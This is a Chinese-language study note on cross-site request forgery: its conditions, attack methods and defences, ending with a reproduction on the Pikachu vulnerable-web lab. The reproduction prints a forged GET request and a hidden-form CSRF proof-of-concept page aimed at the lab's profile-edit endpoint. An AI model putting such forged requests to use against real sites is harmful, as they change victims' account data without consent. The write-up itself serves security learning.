Csrf复习（pikachu靶场和防御手段）

CSRF漏洞简介

CSRF又称跨站请求伪造，是指攻击者在用户登录的状态下（浏览器保存了用户的cookie）通过伪造恶意url诱导用户点击，借助用户的cookie网站权限（冒充用户身份来进行非法操作，对于服务器来说是合法的）达到篡改数据、购买商品等非法操作。

CSRF漏洞形成的条件

通过上面的讲解我们知道CSRF形成的必要条件是

1、用户要在登录状态（即浏览器保存了该用户的cookie）

2、用户要访问攻击者发的恶意url链接才行

常见攻击方式

1、链接点击：攻击者通过邮件、社交媒体或其他方式发送包含恶意请求的链接，诱导用户点击。

2、隐藏表单：在恶意网站上嵌入隐藏的表单，用户在不知情的情况下触发表单提交。

3、自动提交表单：恶意网站使用JavaScript自动提交包含恶意请求的表单。

4、图像加载：在恶意网站上嵌入图像标签，图像URL指向目标网站的恶意请求。

5、跨域请求：利用XMLHttpRequest或Fetch API发送跨域请求，但这种方式在现代浏览器中通常会被同源策略和CORS限制。

防御措施

1、CSRF Token：在每个敏感操作的请求中包含唯一的、不可预测的令牌。服务器验证该令牌以确保请求来自合法用户。

2、SameSite Cookie 属性：设置 Cookie 的 SameSite 属性为 Strict 或 Lax，防止跨站请求携带 Cookie。

3、双重提交 Cookie：在请求中发送一个 CSRF Token，同时在 Cookie 中存储相同的 Token，服务器验证这两个 Token 是否一致。

4、验证 Referer 和 Origin 头：检查请求的 Referer 和 Origin 头是否来自可信任的域。

5、定期重置 Session ID：减少会话被劫持的风险，确保会话令牌的安全性。

6、用户交互确认：对敏感操作要求用户进行额外的确认，例如输入密码或验证码。

漏洞复现（pikachu）

Csrf（get请求）：

攻击者发送恶意链接，点开后信息被恶意修改

利用bp抓取的数据包重发数据

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=123123&add=123123&email=123123&submit=submit HTTP/1.1

Host: pikachu

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://pikachu/vul/csrf/csrfget/csrf_get_edit.php

Cookie: PHPSESSID=1403c4j739t0v88bc26m3b2d6e

Upgrade-Insecure-Requests: 1

Priority: u=0, i

信息被修改了

Csrf（post请求）

记录原始数据

Bp抓包构造恶意网页

<html>

  

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

      <input type="hidden" name="sex" value="hack" />

      <input type="hidden" name="phonenum" value="hack" />

      <input type="hidden" name="add" value="11" />

      <input type="hidden" name="email" value="111" />

      <input type="hidden" name="submit" value="submit" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>